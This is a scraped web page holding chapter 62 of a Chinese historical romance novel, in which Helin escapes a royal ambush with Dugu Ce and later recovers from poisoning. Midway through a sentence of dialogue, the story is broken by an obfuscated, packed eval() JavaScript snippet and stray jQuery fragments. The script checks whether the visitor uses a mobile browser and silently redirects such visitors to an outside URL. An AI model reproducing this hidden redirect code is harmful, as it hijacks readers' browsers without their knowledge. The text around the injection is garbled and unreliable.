默认冷灰
24号文字
方正启体

62. 六十二、破重围

作者:明月含章本书字数:K更新时间:
    慕容泠的血溅在了贺兰苍白的脸上,如同白雪上的点点红梅,凄艳至极。她漠然地看着,看着他的生机一点点流逝,看着他眼神中的震惊也慢慢消散,看着他已经没有任何再禁锢她的可能。


    她怔了一会儿,眼底忽然蜿蜒出一行泪。


    她觉得心底很空很空。


    这些年行止匆匆,耗尽心思,眼看着仇人一个又一个的伏诛,可她又得到了什么?她没有亲人,没有朋友,没有爱人……什么都没有了……


    贺兰怅然望着手中的刀,蓦得举起,就要向着自己的心口扎去。这时,车门猛地被人大力踢开,震得她整个人都向后仰去,手中的刀不由松开,落在了地上。


    逆着光,一个魁伟的身体出现在眼前,声音沉沉响在耳畔:“我费尽周折地救你,不是让你自戕的。”


    贺兰没有看清楚他的样貌,却在第一时间认出了来人,一刹那泪落如雨。


    “你不该来的。”她凄然地说。


    “我为你而来,怎能无功而返。”独孤策答非所问,一手将她揽入怀中,带她离开了那个血腥扑鼻的軿车。


    外面刀山剑雨,他就那样护着她,像一座巍峨的山。


    “我们逃不出去的。”贺兰靠在他怀中,无力地望着軿车外,密密麻麻的羽林。哪怕阵脚大乱,仍密不透风。


    “谁说的?”独孤策笑了一声,抱着她一跃跳上了旁边的骏马,“你定计时,就这般顾头不顾尾么,没想过怎么逃?”


    贺兰不是没有想过,只是觉得惘然。冲破重重宫墙,从一国之君手里轻易逃脱,谈何容易。


    “坐稳了,抓紧我。”他嘱咐道。一扯缰绳,骏马长嘶,霎时如离弦之箭,向着围剿而来的羽林冲去。


    他的动作太过迅疾,匆匆而来的士兵尚未反应过来,就被马蹄冲倒,四面倒成一片。几个狼狈爬起的,立刻反击,执戟相刺,却伤不到对方分毫。


    马上的人像个杀神,一只长枪舞得如龙腾跃,旁人根本难以近身,眼看着他已杀出重围,要带着怀里的女子全身而退,身后忽然传出一声长喝:“哪里来得贼寇,竟然敢袭扰御驾!”


    独孤回身,见一个身着银甲的壮汉正提着长戟向他冲来。此人正是右卫将军刘恭,他素有凶悍之名,此时更是杀气腾腾,怒如雷霆。


    独孤策顾着应付其他,仓促一挡,却未挡住那样凌厉的杀气,一阵剧痛从肩上传来,一顾才知,哪里被对方刺透,血如泉涌,浸透袍服。


    “小心!”怀里的女郎自始至终都没有出声搅扰他,此时却一脸担忧,低低地叫了一声。她的眼睛湿漉漉的,像是林间受惊的小鹿。


    独孤策一笑,算作安慰。分毫不顾惜身上的伤,拿长枪的手稳健如昔,全力迎战。


    不过几个回合,对方已有颓势,还欲再战,忽听后面有人大叫:“陛下受伤了!”


    这一声,引得所有人动作都是一滞,刘恭亦有分心,回头去看銮驾。独孤策哪里会错过这样的机会,动作变得越发迅疾,招招有杀意,步步是杀心,不过数下便将刘恭挑于马下。刘恭就势一滚,狼狈地想要躲避,但只听一声长嘶,马蹄抬起,重重落向他的头颅。


    独孤策长枪利落,一刺入咽喉,刘恭便再无生机。


    皇帝重伤,主将被杀,众羽林失了主心骨,顿时乱成了一锅粥,有得还欲上前追缴,有的已经狼狈逃窜,还有几个忠心地匆忙护着慕容泠的軿车往宫门方向而去。


    独孤策见此,也不恋战,而是召唤部众,踏马绝尘而去。


    洛城已在身后,马蹄扬起的烟尘遮蔽了巍峨的城阙,黑压压的天色让方才经历的一切,都像一场幻梦一般。


    贺兰没有再回头,只是无力地靠在独孤策的胸口。


    一股剧痛翻涌在心头,她的眼前一阵发黑。贺兰清楚,为了诱慕容泠,她自己亦中毒不浅,这次或许凶多吉少了。


    她的手轻轻覆在对方的手上,轻轻地叹:“独孤策,若是带不走我,你便自己离开吧。你我……没有缘分。”


    到这个时候还在扯什么缘分,独孤策顿时气血上涌,刚想出言讥讽,却见她的唇角落下一行乌黑的血痕,人已经软软昏倒在了他的怀中。


    ……


    “我自身难保,你跟着我只会受委屈。”


    新婚之夜,那个人这样对她说。


    原本也不是什么恩爱相携的好姻缘,他走投无路,需要依仗贺兰部的收留,她流落草原,寻亲无果,只想讨个活路。


    那时她也想过,若此生永无报仇的可能,这样跟了他,也算不错。


    他毕竟那样好看,性子也算温和。


    那一夜,鬼使神差地摇了摇头,轻轻靠在了他的怀中。


    贺兰偶尔也会想,若是没有得到阿父的消息,没有知道她还有报仇的可能,她会不会愿意做一个最温柔的新娘,陪在那个暂时落魄的男子身边,不离不弃。


    可是没有如果,他的日子总是和死亡相伴,遭遇了一次又一次的刺杀后,她的心也淡了。她不能陪着他死在遥远的北国,她有大仇未报,心愿未了,便是死也不能瞑目。于是她有心疏远,想要在彻底沉溺之前,奋力自救一把。


    他应当也看出了她的心思,他们的接触越来越少,关系也越来越疏远。直到有一个星垂平野的夜晚,他坐在一株绿柳前,这样对她说:“阿荻,我要离开一段时间……”


    平淡如往常,她不明白为什么要叫她出来说。


    她点了点头,没看他,只望着远处触手可及般的星子。


    “你……”他言语吞吐,好半晌才像鼓起勇气般,轻声道,“你一个人能照顾好自己吗?”


    贺兰终于肯回头,看了他一眼,木然点头。


    她从来都是一个人,有什么照顾不好自己的。


    “你就没有想过要随我一起么?”他叹气,摸了摸贺兰的发。她喜爱干净,发丝总是清爽又冰凉,结成两个辫子垂在耳畔,便是什么饰物都没有,也是极好看的。


    贺兰苦笑,状若无意地挪开了头。


    “我明白了!”他亦苦笑,仰身躺在了草地上,“阿荻,我终有一日会让你享尽荣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127935|186734||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    华富贵,再不受流离之苦。”


    他不是一个爱许诺的人,这般郑重其事地说,让贺兰心弦微颤。


    也许在他心里,自己不过是个贪慕虚荣的女子,对他的冷淡只因他目下的落魄。


    贺兰没有解释,却随着他躺在了草地上。


    天穹辽阔,大地无垠,只有人渺小如蝼蚁。


    他侧身,捧过她的脸,落下一个缠绵地吻。滚烫的气息混着他身上的清冽味道将她裹挟,她听到他的声音一字一句,迷梦一般的蛊惑:“阿荻,我们早该有个孩子了。”


    她从迷梦中惊醒,奋力将他推开,眼角红成一片。


    自身难保,怎么敢有孩子……


    他被推得踉跄,颇有几分狼狈,人却没恼,只是看着她笑:“阿荻,你是我见过最清醒也是最无情的女郎。”


    再后来,他一去不复返,像是要用行动来告诉自己,论起无情,他们势均力敌,棋逢对手。


    ……


    外面怎么那么吵!


    贺兰揉着脑袋,勉力想要起身,可是却无力地又瘫倒在榻上。


    “大王想要南下?不可!如今抚远城不安宁,这时南下岂非意气用事!”这个声音洪亮又暴躁,听着让人心烦。


    “大王的意思,可否直言。”这个声音倒温和,听着还有几分熟悉。


    “慕容泠凶多吉少,若是洛阳此时生变,想必抚远城的人也不会轻举妄动。”又有人缓缓说,一字一句颇从容。


    这个人贺兰倒是辨出来了,独孤策身边的那个小老头赵雍。


    他们似有大事在谈,那自己此时又身在何处?


    “发什么呆,是不是烧成傻子了。”她忽然听到身旁有人戏谑。贺兰猛然抬头,正见环夫人抱臂站在床边,烛火摇曳出晕黄的影子,她的眼神在这样的暖色中,也前所未见的温柔。


    “姊姊!”贺兰的泪夺眶而出,伸手就要去抱她。


    环夫人叹了口气,上前来,任她环住了腰,趴在身上像个可怜的小猫。


    “听大王说,你中毒了?”不是问,而是责备。环夫人极力压抑着心里的疼惜和酸楚,语气不免急躁。


    贺兰点头,乖得不像她:“若非如此,我根本逃不出来,那个人真是太难对付了。”


    环夫人伸手揉了揉她的发,眼圈一片通红。


    “我知道,那就是一匹豺狼,阿芜,难为你了……”


    这么多年,她很少说这样和软的话,勾地贺兰又啜泣起来。


    她们的说话声惊动了外面,贺兰听到外间安静了下来,不一会儿那道高大的身影就出现在了内室中。


    隔着昏黄的光,他看着她的眼神安静又温暖。


    他没有说话,只是沉默着走了过来,手落在贺兰的额上,在确定她已经退烧后,才露出一个安慰的笑。


    “饿了吧,想吃什么?”


    过于家常的问候,让贺兰觉得仿佛又回到了从前,那时他也会这样温柔地关怀自己,只是那时,她没有在意。


    她摇了摇头,恹恹地垂下了眼眸。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)